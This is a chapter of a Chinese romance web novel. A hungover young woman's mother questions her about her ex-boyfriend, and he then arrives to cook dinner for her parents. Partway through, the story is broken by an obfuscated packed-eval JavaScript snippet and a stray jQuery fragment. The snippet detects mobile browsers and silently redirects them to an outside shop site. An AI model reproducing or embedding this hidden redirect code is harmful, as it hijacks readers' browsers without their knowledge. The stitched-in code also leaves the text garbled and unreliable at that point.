元知知醒来时只觉头痛欲裂,大概是最近这段时间在家里休养的太好了,脱离了紧绷的酒局,私下稍微多喝点酒身体就有些受不了了。
她一边轻敲着头一边撑着床坐直了身体,浅色的床单被攥出了一团皱巴巴的纹路,她停顿了好一会儿才觉震荡的神经微微安分一些。
不像刚醒来时只要略微动作一下就头疼了,元知知终于趿拉上了拖鞋从床上站起来。
身上还带着一股不算太浓的酒气,她边犹豫着要不要先洗个澡边走到了客厅,早餐已经在餐桌上摆好了。一人份的,看来是专门给她留的。
瓷碗温热,元知知刚坐下喝了两口粥指纹锁开锁的声音就响了起来。
是张女士回来了,手上还提着两个装满菜和肉的大塑料袋,元知知起身走过去,朝她的身后张望着:“我爸呢,没跟你一起去买菜?”
张女士拍开了她欲接过东西的手:“快吃你的早餐去,等会儿别放凉了,你爸路上遇到个小友,他们叙旧,我怕菜在大热天放坏了就先回来。”
元知知老实坐回了桌前,用勺子搅着寡淡无味的白粥,半晌喝不下去一口。
“喝不下去就把给你弄的蜂蜜水喝了,养肝的,”张女士一边把冰箱打开清点存货一边飞了几个眼刀子,“你这丫头也真是,上班要喝酒我说不着你什么,好不容易休个假也离不开酒桌子,就你昨天喝成那样什么时候被人卖了都不知道。”
元知知讪笑:“这不是和小舟他们出去才喝两口嘛,要和不信任的人哪敢——”
脑海中零星的片段突兀闪过,她整个人一顿,有些艰涩改口道:“妈,我昨天……是怎么回来的?”
张女士终于停了忙碌的动作,似笑非笑冲着女儿道:“既然你自己想起来了,那就老实交代吧。”
“交代什么?”
“还能交代什么?昨天送你回来的那男人是谁?”
这一下元知知是彻底回忆起了昨天陷入沉睡前的事,从音乐节到烧烤摊,再到……他说他爱她。
在深夜街边的小摊前,面对着一个神志不太清醒的人,却如身在教堂,像一个誓言一样郑重。
她深呼吸了一口气:“昨天晚上回来我没有太折腾他吧?”
张女士斜睨她一眼:“怕自己耍酒疯?怎么,平常喝醉了就乖乖安静下来,面对着他就会耍酒疯了?”
好在她刺了元知知几句后终归还是回答了问题:“放心吧,昨天回来你睡的很沉,他一直把你抱回房间里你都没有醒过一次。”
“那就好。”
“看得出来年轻人体力不错,一路把你又背又抱的连一滴汗都没出,就身体素质这一点来说还不错。”
元知知光顾着松口气了,丝毫没察觉到自己妈妈对孟懿这种挑女婿般挑剔的评价有什么问题。
“对了你还没告诉我那男人是谁呢?昨天太晚了把你送回来就急匆匆走了,连口水也没喝上。”
“跟你是什么关系?去华清市出差的时候认识的还是——”
“妈,”元知知推开了凳子,“身上酒味太难闻了,我先去洗个澡。”
“诶,把蜂蜜水先喝完啊……”
张女士的声音被关在卧房门外,元知知背贴着门,宿醉后难以平复的心绪在宁静的空间里更像是对她自己的质问。
-
元知知包着湿法出来的时候客厅和书房都不见人影,张女士正在厨房处理虾线,而元教授还没有回来。
她瞄了一眼料理台,备下的菜不可谓不丰盛,至少已经三道大菜了。
“妈,今天这是什么重要日子么,这么多菜咱们家就三个人也根本吃不完啊。”
“你爸说要带人回来吃饭,招待客人的。”
元知知被张女士推出了厨房,她放下了自己一头湿漉漉的长发,抹了几泵护发精油均匀打上去,听着厨房里传来的剁肉声疑心元教授要带回来的客人是林鹤之,否则还有谁能得张女士这样的青眼。
正想着门外就传来了响动,元知知抬眼,元教授回来了,中年男人高瘦的个子挡不住身后男人优越挺拔的身形,他礼貌的停留在门廊处等待元教授为他取鞋套。
“孟懿?”
元教授听见女儿的声音乐呵呵的打了个招呼,张女士也从厨房出来了,二话不说就丢了条围裙给丈夫,主厨的位置就这么完成了交接,而对于随着元教授一同出现的孟懿似乎没有丝毫惊讶的情绪。
不冷不热的态度既不像对待客人,又不像对待自己人。
但元知知能确定的一点就是张女士显然也早就知道这客人是谁,夫妇两个一个看天一个看地,就是谁都不肯看她。
她只得把疑问的目光放在孟懿身上,不成想孟懿忍了半天终于没忍住蹙眉道:“你怎么又不吹头?”
‘长期这样阴雨天容易头疼’,这后半句话被他咽了下去,但张女士和元教授目光已经开始不对劲起来。
元知知推着两人进了厨房:“像孟医生这样的医护工作者都是很注重养生的,客人肚子都饿了,别聊了。”
“那你记得陪小孟说会儿话喝会儿茶啊,人好不容易来一趟,别让人一个人坐着。”
夫妇两终于离开这个空间,她小松一口气,眼皮一撩:“你怎么来了?”
孟懿越过她,自顾自把手上的几个大礼品袋放在客厅茶几上,挂出的商标价格都不便宜。
元知知转身,还没来得及追问手上的毛巾就被拿走了,她抬头看着已经近在咫尺的男人,孟懿拨过她侧边的长发包裹在毛巾里从上至下一点一点攒着水。
“路上遇到叔叔阿姨聊了两句,叔叔邀请我来家吃饭,本来不想叨扰但实在盛情难却,礼物买的急,如果不合叔叔阿姨心意下次我再买。”
“下次?”元知知白了他一眼:“你还想有下次?吃饭的时候少说话,吃完赶紧走。”
孟懿没答话,用手撩了撩发丝,多余的水已经攒干净了,他把毛巾递回给她,“去吹头发吧,我自己倒点水喝就行,不用你陪着。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222434|135637||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“吹什么,天气这么热一会儿就干了。”
“要么你别犯懒自己吹,要么你把吹风机拿来我帮你吹。”
他跟在她身后,木质的房间门砰地一声关上险些砸中他皮鞋内的脚趾,不一会儿门内就传来了吹风机运行时“轰轰”的声音。
等元知知再次从房间出来时本该坐在客厅的人却不见踪影,厨房内的声音倒是热闹。
她轻手轻脚走过去,厨房门没有关,里面的场景一眼就能看尽。
元教授抑制不住笑容的和孟懿聊着天,时不时爆发出一阵笑声,心情很是愉快的样子。张女士倒是没参与他们的话题,坐在一旁刷着手机,但以元知知对她的了解,她一定没有在看手机上的内容,余光反而时不时就飘向相谈甚欢的两个男人。
每当孟懿向她搭话时她反而又掩下目光,冷淡礼貌应着,让人感觉不出过分的热情又不会失礼。
元知知再度定了定神,厨房里元教授满屋子乱转着打下手,张女士更是连围裙都摘了,拿着锅铲的人变成了孟懿。
来做客的人反而变成了主厨,自己做菜招待自己,元知知有些无奈的揉了揉太阳穴。
刚认识孟懿时他完全是一个十指不沾阳春水的大少爷,别说做饭了,就是烧个水煮几个饺子也没一个是不破皮的。
两人在一起后他计划着考上大学的情侣生活,突然想到租了房子后两个人就真的是在过他们自己的日子了,每天除了冲刺高考外还硬要抽一些时间去学做饭。
第一天十只手指就烫了五个水泡回来,带回来的成品也黑糊糊的看不出是个什么东西来。两个人各尝了一口后就连晚饭都吃不下去了,孟懿过后还火急火燎跑到校医务室拿肠胃药,生怕那一口给元知知吃出什么问题来了。
此后他进步越来越大,一直到了分手前,已经能做出一桌正常能入口的饭菜了。
鼻翼轻翕,空气中已经弥漫着浓郁的香气,张女士备下的几道大菜全都由孟懿炒了出来。
张女士很快注意到了站在门边的她,抬了手招呼着:“快来盛饭,菜马上就好了。”
孟懿转头,视线先在她的蓬松干燥的发顶转了一圈,接着从筷筒里抽出饭勺冲洗干净递给她,动作自然的就像是在自己家里。
元知知倒是成了客人一般。
“昨天小孟送我们家知知回来都没来得及好好感谢,今天好不容易遇上了,招待不周多多原谅。”
元教授先聚了聚装着橙汁的酒杯,接着四只杯子就碰在了一起。
孟懿还没来得及客套两句,就听一反常态有些沉默的张女士开口道:“不知道小孟和我们家知知是怎么认识的呢?”
元教授大咧咧:“不是说了么,小孟和知知高中是——”
突兀的噤声,元知知猜她爸应该是在桌子底下被她妈踢了一脚。
她埋头夹菜,感受到男人极强的目光落在她的身上。
张女士盯着孟懿,孟懿看着她。
他们真正在等待的,是她的回答。